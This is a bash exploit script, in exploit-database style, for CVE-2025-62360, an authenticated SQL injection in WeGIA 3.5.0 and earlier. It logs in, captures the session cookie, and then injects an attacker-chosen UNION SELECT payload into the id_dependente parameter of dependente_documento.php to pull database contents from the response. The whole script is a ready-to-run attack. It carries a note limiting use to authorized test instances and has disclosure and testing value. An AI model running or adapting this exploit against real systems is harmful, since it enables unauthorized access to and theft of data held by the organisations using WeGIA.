# Exploit Title: WeGIA 3.5.0 - SQL Injection
# Date: 2025-10-14
# Exploit Author: Onur Demir (OnurDemir-Dev)
# Vendor Homepage: https://www.wegia.org
# Software Link: https://github.com/LabRedesCefetRJ/WeGIA/
# Version: <=3.5.0
# Tested on: Local Linux (localhost/127.0.0.1)
# CVE : CVE-2025-62360
# Advisory / Reference: https://github.com/LabRedesCefetRJ/WeGIA/security/advisories/GHSA-mwvv-q9gh-gwxm
# Notes: Run this script ONLY on a local/test instance you own or are authorized to test.
# ============================================================
if [ -z "$4" ]; then
# Usage prompt if required arguments are missing
echo "Usage: $0 <target-url> <user> <password> <payload>"
echo "Example: $0 http://127.0.0.1/WeGIA/ \"admin\" \"wegia\" \"version()\""
exit 1
fi
url="$1"
user="$2"
pass="$3"
payload="$4"
# Check if URL format is valid (basic regex)
# This is a basic sanity check for the URL string format.
if ! [[ "$url" =~ ^http?://[a-zA-Z0-9._-]+ ]]; then
echo "⚠️ Invalid URL format: $url"
exit 1
fi
# Perform login request (multipart/form)
# -s silent, -w "%{http_code}" will append HTTP code to response
# -D - prints response headers to stdout, combined with body in login_response
login_response=$(curl -s -w "%{http_code}" "$url/html/login.php" \
-D - \
-X POST \
-F "cpf=${user}"\
-F "pwd=${pass}")
# Extract last 3 chars as HTTP status code from the combined response
login_status_code="${login_response: -3}"
# If login did not return a 302 redirect, handle error cases
if [ "$login_status_code" -ne 302 ]; then
# If curl couldn't connect, curl may return 0 or empty status code
if [ "$login_status_code" -eq 0 ] || [ -z "$login_status_code" ]; then
echo "❌ Unable to reach URL: $url"
exit 1
fi
# Otherwise report unexpected login status
echo "Error: Received HTTP status code from login: $login_status_code"
exit 1
fi
# Extract the Location header from the login response headers
# Using awk to find the first Location header (case-insensitive)
login_location=$(echo "$login_response" | awk -F': ' 'BEGIN{IGNORECASE=1} /^Location:/{print substr($0, index($0,$2)); exit}' | tr -d '\r')
# Check username and password correctness using Location header content
# If the Location does not include home.php, consider login failed.
if [[ "$login_location" != *"home.php"* ]]; then
# If Location contains "erro" assume wrong credentials; otherwise unknown error
if [[ "$login_location" == *"erro"* ]]; then
echo "Error: Wrong username or password!"
else
echo "Error: Unknown Error!"
fi
exit 1
fi
# Extract Set-Cookie header (first cookie) and keep only "name=value"
# tr -d '\r' removes possible CR characters
set_cookie=$(echo "$login_response" | awk -F': ' 'BEGIN{IGNORECASE=1} /^Set-Cookie:/{print substr($0, index($0,$2)); exit}' | tr -d '\r')
set_cookie=$(echo "$set_cookie" | cut -d';' -f1)
#Exploit Vulnarbility
# (The following performs the SQL injection request using the cookie obtained above)
# The payload variable is used verbatim in the id_dependente parameter.
# Ensure payload is provided safely in the script invocation and that you are authorized to test.
# Execute the curl command and capture the output and status code
response=$(curl -s -w "%{http_code}" "$url/html/funcionario/dependente_documento.php" -d "id_dependente=1 UNION+SELECT 'a','b',$payload;#" -b "$set_cookie;" -H "Content-Type: application/x-www-form-urlencoded")
# Extract the HTTP status code (last 3 characters)
status_code="${response: -3}"
# Extract the body (everything except the last 3 characters)
body="${response:0:-3}"
# If the exploit request returned HTTP 200, try to extract id_doc
if [ "$status_code" -eq 200 ]; then
# Prefer a robust JSON extractor if available; this line uses grep -Po to capture the id_doc value including quotes.
# Note: This grep returns the quoted string (e.g. "11.8.3-MariaDB-1+b1 from Debian").
clear_response=$(echo "$body" | grep -Po '"id_doc": *\K"[^"]*"')
# Print the extracted value (or empty if not found)
echo "$clear_response"
else
# Non-200 status handling
echo "Error: Received HTTP status code $status_code"
fi